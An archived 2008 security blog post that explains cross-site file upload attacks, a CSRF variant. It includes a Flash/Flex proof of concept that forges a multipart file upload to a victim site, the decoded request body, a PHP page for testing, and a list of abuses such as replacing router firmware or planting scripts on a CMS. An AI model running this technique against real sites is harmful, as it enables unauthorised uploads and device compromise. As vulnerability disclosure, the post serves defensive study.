Cross-site File Upload Attacks

Cross-site File Upload Attacks - pdp, gnucitizen.org.

- Published: date not stated
- Original: <https://www.gnucitizen.org/blog/cross-site-file-upload-attacks/>
- Preserved from: https://www.gnucitizen.org/blog/cross-site-file-upload-attacks/ (stored) on 2026-08-11
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Cross-site File Upload Attacks

Thu, 21 Feb 2008 12:15:32 GMT

by pdp

As you probably already know, CSRF attack are only possible when the attacked web application does not have an additional mechanism to ensure that requests towards it are genuine. In order to do that, the web developer must include a unique token for each request, which is validated on the server upon receiving a request. If the request value that represents the token matches the token that was generated for the request, then it is considered genuine and it should be left for additional processing. However, if both values do not match then the request is considered forged and as such should be disregarded.

Unfortunately, when it comes to file upload facilities, developers often forget to make such checks relying on the fact that file uploads are not spoofable, which in general is the correct assumption. However, when dealing with Web technologies, we often stumble across nasty surprises. The reason CSRF attacks against file uploads are not possible is because the HTML FORM specifications are not versatile enough to define sub-fields like `filename="whatever.txt"`, which are vital parts of the `multipart/form-data` specifications when submitting files. This is the only restriction and I will show you that attackers can easily overcome it with a bit of help from Flash.

Cross-site File Uploads

We've already proved that various forms of home routers can be entirely compromised and hacked by forging UPnP requests with flash. Now I will show you that file uploading facilities can

be attacked in a similar way. Let's examine the following code, which you can compile with Flex2 SDK - `c:\Flex2\bin\mxmlc code.mxml` :

```
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="onAppInit()">
  <mx:Script>
    /* by Petko D. Petkov; pdp
     * GNUCITIZEN
     **/
    import flash.net.*;

    private function onAppInit():void
    {
      var r:URLRequest = new URLRequest('http://victim.com/upload.php');

      r.method = 'POST';
      r.data = unescape('-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name
      r.contentType = 'multipart/form-data; boundary=---------------------------109092118919201';

      navigateToURL(r, '_self');
    }
  </mx:Script>
</mx:Application>
```

If you carefully read the content of the script you will notice that we are preparing an `URLRequest` object which we load with a `POST` method, a `contentType` which equals to `multipart/form-data` and a url-encoded data text. If we unencode the text we get the following result. Now let's have a look at it as well. Notice the `filename="gc.txt"` field:

```
-----------------------------109092118919201
Content-Disposition: form-data; name="file"; filename="gc.txt"
Content-Type: text/plain

Hi from GNUCITIZEN!
-----------------------------109092118919201
Content-Disposition: form-data; name="submit"

Submit Query
-----------------------------109092118919201--
```

This looks like a valid `multipart/form-data` file upload, doesn't it? If you compile and execute the code you will see that the file upload is completely valid and will upload a file called `gc.txt` with content of `Hi from GNUCITIZEN!` . But you can also use the following PHP script to verify the result if you feel skeptical about the whole concept.

```
<?php if ($_FILES['file']['error'] > 0): ?>
  <h1>Failiure</h1>
  <pre>
    <?php print_r($_FILES) ?>
  </pre>
<?php elseif (isset($_FILES['file'])): ?>
  <h1>Success</h1>
  <pre>
    <?php print_r($_FILES) ?>
    <?php echo file_get_contents($_FILES['file']['tmp_name']) ?>
  </pre>
<?php else: ?>
  <form method="post" enctype="multipart/form-data">
    <input type="file" name="file"/>
    <input type="submit" name="submit"/>
  </form>
<?php endif ?>
```

The Impact of Cross-site File Upload (CSFU) Attacks

Like CSRF attacks, there are plenty of things one can do with this type of technique. Here is a couple of evil things that come into my mind:

- Upload a nasty picture on someone's profile - I admit this is not very useful but still very funny and open for abuse.
- Upload a shiny new firmware to the router that is under attack by using the user as a proxy. This is pretty nasty and given the fact that there are numerous authentication bypass and A-to-C bugs floating around, it is very, very feasible.
- Upload a shiny new configuration file on the router that is under attack. Same as the one above - very feasible and easy to perform.
- Upload executable scripts on CMS - this of course is a bit more targeted..